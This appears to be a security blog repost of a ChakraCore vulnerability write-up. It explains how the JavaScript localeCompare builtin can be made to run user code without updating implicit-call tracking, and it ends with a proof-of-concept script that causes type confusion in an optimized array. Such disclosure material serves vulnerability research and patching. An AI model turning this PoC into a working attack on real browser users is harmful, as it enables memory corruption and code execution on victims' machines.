Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86373098

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
A call to the String.prototype.localeCompare method can be inlineed when it only takes one argument. There are two versions of String.prototype.localeCompare, one [1] is written in JavaScript and the other [2] is written in C++ which just calls the JavaScript version when Intl enabled without updating ImplicitCallFlags. Since JavaScript code could be executed without touching ImplicitCallFlags, this could be exploited in a similar way to that I used for  issue 1565 .

The only usable code I could find in the JavaScript localeCompare was:
            const thatStr = String(that);

I could override the toString method of "that" which is the first parameter to execute arbitrary JavaScript code. But there was a problem that the toString method was also called in the C++ localeCompare prior to executing the JavaScript localeCompare which updated ImplicitCallFlags. Actually calling a JavaScript function can clear the flag during the initialization process [3] if profiling is enabled, but it was not for Intl.js. So I needed to find another way to exploit this.

Here's the JavaScript localeCompare.

let localeCompareStateCache;
platform.registerBuiltInFunction(tagPublicFunction("String.prototype.localeCompare", function (that, locales = undefined, options = undefined) {
    if (this === undefined || this === null) {
        platform.raiseThis_NullOrUndefined("String.prototype.localeCompare");
    }

    const thisStr = String(this);
    const thatStr = String(that);

    // Performance optimization to cache the state object and UCollator when the default arguments are provided
    // TODO(jahorto): investigate caching when locales and/or options are provided
    let stateObject;
    if (locales === undefined && options === undefined) {
        if (localeCompareStateCache === undefined) {
            localeCompareStateCache = _.create();
            InitializeCollator(localeCompareStateCache, undefined, undefined);
        }

        stateObject = localeCompareStateCache;
    } else {
        stateObject = _.create();
        InitializeCollator(stateObject, locales, options);
    }

    return platform.localeCompare(thisStr, thatStr, stateObject, /* forStringPrototypeLocaleCompare  true);
}), IntlBuiltInFunctionID.StringLocaleCompare);

My idea was to optimize the method partially, so that when it hits an unprofiled instruction, the flag gets cleared during the bailout process [4].

[1] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/InJavascript/Intl.js#L984
[2] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/JavascriptString.cpp#L1297
[3] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Language/InterpreterStackFrame.cpp#L1831
[4] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Backend/BailOut.cpp#L1492


PoC:
*/

function opt(arr, s) {
    arr[0] = 1.1;

    if (s !== null) {
        let tmp = 'a'.localeCompare(s);
    }

    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];

    for (let i = 0; i < 100; i++) {
        'a'.localeCompare('x', []);  // Optimize the JavaScript localeCompare

        opt(arr, null);  // for profiling all instructions in opt.

        try {
            opt(arr, {toString: () => {
                throw 1;  // Don't profile "if (locales === undefined && options === undefined) {"
            }});
        } catch (e) {

        }
    }

    opt(arr, {toString: () => {
        // Called twice
        arr[0] = {};
    }});

    print(arr);
}

main();